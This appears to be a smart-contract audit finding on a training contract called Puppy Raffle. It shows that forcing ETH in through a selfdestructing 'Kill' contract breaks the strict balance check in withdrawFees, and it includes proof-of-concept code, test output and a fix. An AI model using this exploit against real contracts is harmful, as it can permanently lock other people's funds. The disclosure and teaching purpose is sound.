Puppy Raffle

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Submission Details
Severity: medium
Valid

Fees could be blocked by fee address

Summary

An attacker can slightly change the eth balance of the contract to break the withdrawFees function.

Vulnerability Details

The withdraw function contains the following check:

require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");

Using address(this).balance in this way invites attackers to modify said balance in order to make this check fail. This can be easily done as follows:

Add this contract above PuppyRaffleTest:


contract Kill {
constructor (address target) payable {
address payable _target = payable(target);
selfdestruct(_target);
}
}

modify set up as follows


function setUp() public {
puppyRaffle = new PuppyRaffle(
entranceFee,
feeAddress,
duration
);
address mAlice = makeAddr("mAlice");
vm.deal(mAlice, 1 ether);
vm.startPrank(mAlice);
Kill kill = new Kill{value: 0.01 ether}(address(puppyRaffle));
vm.stopPrank();
}Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest
[FAIL. Reason: PuppyRaffle: There are currently players active!] testWithdrawFees() (gas: 361718)
Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 3.40ms
Now run `testWithdrawFees()` - ` forge test --mt testWithdrawFees` to get:
Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest
[FAIL. Reason: PuppyRaffle: There are currently players active!] testWithdrawFees() (gas: 361718)
Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 3.40ms
Any small amount sent over by a self destructing contract will make `withdrawFees` function unusable, leaving no other way of taking the fees out of the contract.

Recommended Mitigation

function withdrawFees() external {
-- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
uint256 feesToWithdraw = totalFees;
totalFees = 0;
(bool success,) = feeAddress.call{value: feesToWithdraw}("");
require(success, "PuppyRaffle: Failed to withdraw fees");
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 2 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Slightly increasing puppyraffle's contract balance will render `withdrawFees` function useless

## Description An attacker can slightly change the eth balance of the contract to break the `withdrawFees` function. ## Vulnerability Details The withdraw function contains the following check: ``` require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); ``` Using `address(this).balance` in this way invites attackers to modify said balance in order to make this check fail. This can be easily done as follows: Add this contract above `PuppyRaffleTest`: ``` contract Kill { constructor (address target) payable { address payable _target = payable(target); selfdestruct(_target); } } ``` Modify `setUp` as follows: ``` function setUp() public { puppyRaffle = new PuppyRaffle( entranceFee, feeAddress, duration ); address mAlice = makeAddr("mAlice"); vm.deal(mAlice, 1 ether); vm.startPrank(mAlice); Kill kill = new Kill{value: 0.01 ether}(address(puppyRaffle)); vm.stopPrank(); } ``` Now run `testWithdrawFees()` - ` forge test --mt testWithdrawFees` to get: ``` Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest [FAIL. Reason: PuppyRaffle: There are currently players active!] testWithdrawFees() (gas: 361718) Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 3.40ms ``` Any small amount sent over by a self destructing contract will make `withdrawFees` function unusable, leaving no other way of taking the fees out of the contract. ## Impact All fees that weren't withdrawn and all future fees are stuck in the contract. ## Recommendations Avoid using `address(this).balance` in this way as it can easily be changed by an attacker. Properly track the `totalFees` and withdraw it. ```diff function withdrawFees() external { -- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); uint256 feesToWithdraw = totalFees; totalFees = 0; (bool success,) = feeAddress.call{value: feesToWithdraw}(""); require(success, "PuppyRaffle: Failed to withdraw fees"); } ```

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